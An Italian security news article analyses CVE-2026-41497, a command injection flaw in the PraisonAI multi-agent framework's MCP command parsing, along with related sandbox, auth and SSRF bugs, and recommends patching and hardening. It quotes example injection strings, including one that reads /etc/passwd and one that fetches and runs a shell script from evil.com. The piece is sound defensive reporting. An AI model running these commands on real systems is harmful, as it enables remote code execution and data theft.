CVE-2026-41497 attribuisce un punteggio CVSS 9.8 (vettore CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) a una falla di OS command injection in PraisonAI, il framework multi-agente open source. Ogni release fino alla 4.6.8 porta il difetto; la versione 4.6.9 lo chiude. La falla risiede in parse_mcp_command() e sopravvive perché una patch precedente per CVE-2026-34935 ha lasciato la porta socchiusa.
PraisonAI orchestra team di agenti basati su large language model e viene distribuito su PyPI come due pacchetti, praisonai e praisonaiagents. I team di ingegneria lo adottano per collegare gli agenti a strumenti esterni tramite il Model Context Protocol (MCP), lo standard emergente che permette a un agente di avviare tool server come sottoprocessi locali. Il framework ha guadagnato trazione rapida nel 2025 e nel 2026 con l'accelerazione dell'adozione di MCP, il che allarga il raggio d'impatto di qualsiasi falla al suo confine di sottoprocesso. Quel confine è esattamente il punto in cui atterra questa vulnerabilità. La funzione parse_mcp_command() in src/praisonai/praisonai/cli/features/mcp.py divide una stringa di server MCP in tre parti — eseguibile, argomenti e variabili d'ambiente — e le inoltra all'esecuzione del processo. Una validazione sottile a quella divisione consegna all'attaccante una via diretta verso la shell dell'host, raggiungibile via rete da una posizione priva di autenticazione.
Cosa è cambiato nel codice
I manutentori hanno corretto CVE-2026-34935 nel commit 47bff65, chiudendo un percorso in cui un argomento della CLI MCP raggiungeva anyio.open_process() privo di sanitizzazione. Quella prima correzione ha rimosso un singolo percorso e ha lasciato assenti tre controlli. Secondo l'advisory di sicurezza GitHub GHSA-9qhq-v63v-fv3j, parse_mcp_command() viene distribuito con zero allowlist di eseguibili, zero validazione basename del percorso e zero ispezione degli argomenti. La conseguenza: stringhe come python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd' e /bin/sh -c 'wget http://evil.com/shell.sh | sh' passano dritte all'esecuzione del sottoprocesso. Qualsiasi eseguibile — bash, python, /bin/sh — abbinato a un flag di codice inline gira al livello di privilegio del processo PraisonAI. Il record NVD lo cataloga sotto CWE-77 e CWE-78 e lo marca come sfruttabile via rete, a bassa complessità e privo di qualsiasi requisito di autenticazione o interazione utente.
Questo è il pattern del fix incompleto che i team di sicurezza temono. Un CVE si chiude, il ticket viene archiviato e la falla di progettazione sottostante persiste nella release successiva indossando un badge verde. Il vendor ha pubblicato codice proof-of-concept insieme all'advisory, il che comprime a poche ore la distanza tra divulgazione e weaponizzazione. Lo scetticismo resta d'obbligo verso qualsiasi affermazione secondo cui la semplice etichetta di versione segnali sicurezza: il segnale reale vive nel percorso del codice.
L'implicazione architetturale
Il quadro più ampio arriva dall'advisory RAXE-2026-050, che raggruppa nove vulnerabilità nei due pacchetti e riformula il rischio da singolo bug a problema sistemico di fiducia. Il cluster elenca un'evasione della sandbox (CVE-2026-34938, CVSS 10.0) in cui execute_code() accetta una sottoclasse di str il cui metodo startswith() sovrascritto restituisce false, sconfiggendo del tutto la guardia. Elenca un'autenticazione invertita (CVE-2026-34953, CVSS 9.1) in cui OAuthManager.validate_token() restituisce true per token sconosciuti. Aggiunge endpoint WebSocket privi di autenticazione (CVE-2026-34952), SQL injection di secondo ordine riprodotta tramite thread ID memorizzati (CVE-2026-34934) e SSRF che raggiunge i servizi di metadati cloud (CVE-2026-34954). Il filo condiviso corre chiaro: input influenzato dall'attaccante fluisce in chiamate a sottoprocessi, query di database e richieste HTTP in tutto il codice, e l'autenticazione risulta assente o rovesciata.
Per i team che costruiscono su MCP, la lezione si generalizza ben oltre PraisonAI. MCP tratta una stringa di comando del tool server come configurazione fidata, eppure quella stringa arriva abitualmente da un plugin, un file di configurazione condiviso o un registro remoto — ognuno di essi una superficie raggiungibile dall'attaccante. Ogni framework che trasforma stringhe MCP in sottoprocessi eredita questo identico confine. La difesa duratura combina tre mosse: una allowlist di eseguibili permessi come npx, uvx, node e python; controlli basename che bloccano l'iniezione di percorso assoluto; e ispezione degli argomenti che rifiuta i flag inline -c ed -e più i metacaratteri di shell. Queste corrispondono direttamente ai tre controlli assenti in parse_mcp_command().
Oltre alla validazione dell'input, l'architettura richiede difesa in profondità. Eseguire ogni tool server MCP dentro un container con filesystem in modalità read-only, capacità Linux ridotte e un account di servizio a privilegio minimo riduce il guadagno di una fuga dalla shell. Il filtraggio dell'egress di rete smorza il pattern wget-verso-shell mostrato nel proof-of-concept e chiude il percorso SSRF verso gli endpoint di metadati cloud che RAXE-2026-050 documenta. Il fix del framework risolve una funzione; l'architettura attorno decide quanto lontano viaggia un futuro bypass.
La decisione per la leadership tecnica
Portate ogni deployment a PraisonAI 4.6.9 o successiva su entrambi praisonai e praisonaiagents oggi stesso; il punteggio base 9.8 abbinato al codice proof-of-concept pubblico rende questa l'azione prioritaria. Oltre all'aggiornamento di versione, eseguite un audit mirato del vostro stack di agenti: cercate shell=True, open_process() e qualsiasi funzione che mappa una stringa esterna su un eseguibile. Trattate la configurazione del server MCP come input inaffidabile e avvolgetela in una allowlist prima che raggiunga un sottoprocesso. Aggiungete una voce nel threat model che dichiara le stringhe di comando MCP una superficie di iniezione pari a qualsiasi form web. E quando un CVE si chiude dentro una dipendenza, verificate il fix contro il percorso reale del codice invece di fidarvi dell'etichetta di versione — CVE-2026-41497 esiste proprio perché un ticket chiuso ha mascherato una falla viva. Quell'abitudine di verifica è l'assicurazione più economica che un team di piattaforma acquista in questo trimestre.
Articolo di LEON — AI Agents & Systems
LEON copre lo strato tecnico dove gli agenti AI vengono costruiti e distribuiti. Fonte: codice, documentazione, CVE.